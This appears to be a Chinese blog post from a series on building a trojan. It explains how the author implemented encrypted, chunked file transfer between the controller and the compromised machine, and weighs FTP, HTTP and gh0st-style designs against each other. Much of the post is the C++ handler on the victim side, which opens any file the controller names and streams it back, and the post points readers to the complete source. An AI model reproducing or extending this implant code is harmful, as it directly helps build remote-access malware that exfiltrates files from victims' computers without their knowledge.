「深度解析」有关某木马编程解析插图

文件上传下载

接下来描述的上传指主控端向被控端上传,下载指主控端从被控端下载。

其实这个组件涉及的知识不是很多,比较重要点的是做好线程间的同步。

一开始不知道这个文件上传怎么实现好,因为如果复用之前的封包架构的话,对于大文件是比较吃力的,因为没有校验机制,而且要自己处理分片,很容易出错。

然后去读了几个木马的源码。实现的方法各不相同。

有一个是用FTP实现的上传下载。原理是主控端开一个FTP服务器,然后被控端使用API实现上传和下载。但是,FTP的账号和密码是写在被控端源码里的。我一头墨水,妥实没想明白,作者是如何保证FTP的账号和密码是如何避免泄露的,这不一逆向就能拿到了吗?

如果账号和密码是动态传输的,需要的时候主控端再临时传给被控端,这样可以避免逆向泄露账号和密码,但是攻击者只需要伪造文件上传的请求,就可以从主控端那里欺骗得到账号和密码了。

还有一个方案是HTTP实现的,这个我感觉比较适合被控端从主控端下载文件,并不适合主控端从被控端下载文件。因为这种方案,同时要在主控端开一个HTTP(S)服务器,用于接收和发送文件,发送文件还好,一直开放着接口进行通信没太大的安全问题,但是接收文件,必须要慎重,如何区分允许哪个被控端是我允许进行向我发送文件的,这个判断是个值得好好规划的问题,HTTP服务器接受匿名的请求,我感觉很难区分不同的被控端。比如说我要从被控端A下载一个文件,此时A向我发送文件,我接收了,同时被控端B是攻击者伪造的,他一直尝试向我发送文件,当我允许A向我传输文件的瞬间,B也向我传输了文件(因为HTTP服务器无法区分不同用户),任意文件上传还是比较可怕的。这一点深深困扰着我。不知道有没有师傅知道怎么避免这一点,还请赐教。

然后又读了下gh0st的源码,它的实现和我最初抛弃的方案是一样的,即直接自己将文件分片,然后压缩,然后直接在网络中传输。(事实上,它的处理更为巧妙。gh0st的作者直接封装了一个底层的Buffer类,这个类封装了一系列的读写操作,文件的读取分片是自动由这个类完成的,分片的大小就是这是Buffer类的缓冲区大小)

最后我还是选择了原有的方案:复用之前的封包框架,手动将文件分片,然后组成封包,加密后传给另一端。由于我这个是AES-128-CFB加密的,所以速度肯定比不过压缩后无加密直接传输的gh0st。

最大测试的文件是4.3GB,传输有点慢,不过最后md5算了下,文件完整性是没问题的。

BOOL WINAPI OnRecvPacketFileDownloadInfo(LPVOID lParam) {
    THREAD_PARAM* pThreadParam = (THREAD_PARAM*)lParam;
    CPacket* pPacket = pThreadParam->m_pPacket;
    CModuleFileDownload* pModuleFileDownload = pThreadParam->m_pModuleFileDownload;
    CSocketClient* pSocketClient = pPacket->m_pSocketClient;

    // 接收到了主控端发来的INFO封包,包体:主控端请求下载的被控端文件的路径(MAX_PATH*2 字节)
    WCHAR pszLocalPath[MAX_PATH];
    memcpy(pModuleFileDownload->m_pszLocalPath, pPacket->m_pbPacketBody, pPacket->m_dwPacketBodyLength);

    if (lParam != nullptr) {
        delete lParam;
        lParam = nullptr;
    }

    if (pPacket != nullptr) {
        delete pPacket;
        pPacket = nullptr;
    }

    // 只有文件存在才打开文件
    pModuleFileDownload->m_hFile = CreateFile(pModuleFileDownload->m_pszLocalPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    // 打开失败
    if (pModuleFileDownload->m_hFile == INVALID_HANDLE_VALUE) {
        // 被控端发往主控端的INFO包体:被控端文件状态(1字节)+ 文件大小(8字节)
        BYTE pbPacketBody[9];
        // TODO 暂时文件打开失败统一状态为0xff, 后续可能会区分文件不存在,文件被占用等不同状态(用GetLastError来实现)
        pbPacketBody[0] = 0xff;            // 0xff表示文件打开失败
        WriteQwordToBuffer(pbPacketBody, 0, 1);
        pSocketClient->SendPacket(FILE_DOWNLOAD_INFO, pbPacketBody, 9);

        pModuleFileDownload->m_hFile = nullptr;
        return false;
    }

    // 获取文件大小
    QWORD qwFileSize = 0;
    DWORD dwFileSizeLowDword = 0;
    DWORD dwFileSizeHighDword = 0;
    dwFileSizeLowDword = GetFileSize(pModuleFileDownload->m_hFile, &dwFileSizeHighDword);
    qwFileSize = (((QWORD)dwFileSizeHighDword) << 32) + dwFileSizeLowDword;

    // 被控端发往主控端的INFO包体:被控端文件状态(1字节)+ 文件大小(8字节)
    BYTE pbPacketBody[9];
    ZeroMemory(pbPacketBody, sizeof(pbPacketBody));
    pbPacketBody[0] = 0;            // 0表示文件打开成功
    WriteQwordToBuffer(pbPacketBody, qwFileSize, 1);

    // 发回FILE_DOWNLOAD_INFO包
    pSocketClient->SendPacket(FILE_DOWNLOAD_INFO, pbPacketBody, 9);


    PBYTE pbBuffer = new BYTE[PACKET_BODY_MAX_LENGTH];
    DWORD dwPacketSplitNum = (qwFileSize % PACKET_BODY_MAX_LENGTH) ? qwFileSize / PACKET_BODY_MAX_LENGTH + 1 : qwFileSize / PACKET_BODY_MAX_LENGTH;
    DWORD dwBytesReadTemp = 0;

    // 上传文件数据
    for (DWORD dwSplitIndex = 0; dwSplitIndex < dwPacketSplitNum; dwSplitIndex++) {

        // 不是最后一个分片
        if (dwSplitIndex != dwPacketSplitNum - 1) {
            ReadFile(pModuleFileDownload->m_hFile, pbBuffer, PACKET_BODY_MAX_LENGTH, &dwBytesReadTemp, NULL);
            pSocketClient->SendPacket(FILE_DOWNLOAD_DATA, pbBuffer, PACKET_BODY_MAX_LENGTH);
        }
        // 最后一个分片
        else {
            DWORD dwReadBytes = qwFileSize % PACKET_BODY_MAX_LENGTH ? qwFileSize % PACKET_BODY_MAX_LENGTH : PACKET_BODY_MAX_LENGTH;
            ReadFile(pModuleFileDownload->m_hFile, pbBuffer, dwReadBytes, &dwBytesReadTemp, NULL);
            pSocketClient->SendPacket(FILE_DOWNLOAD_DATA_TAIL, pbBuffer, dwReadBytes);
        }
        dwBytesReadTemp = 0;
    }
    
    if (pModuleFileDownload->m_hFile != nullptr) {
        CloseHandle(pModuleFileDownload->m_hFile);
        pModuleFileDownload->m_hFile = nullptr;
    }
    

    if (pbBuffer != nullptr) {
        delete[] pbBuffer;
        pbBuffer = nullptr;
    }

    pSocketClient->SendPacket(FILE_DOWNLOAD_CLOSE, NULL, 0);

    WaitForSingleObject(pModuleFileDownload->m_hRecvPacketFileDownloadCloseEvent, INFINITE);

    if (pModuleFileDownload != nullptr) {
        delete pModuleFileDownload;
        pModuleFileDownload = nullptr;
    }

    return true;
}

结束语

本文主要说了些思路,很多具体的实现没有深入说明,具体的可以去源码中看。

水平有限,请师傅们批评指正。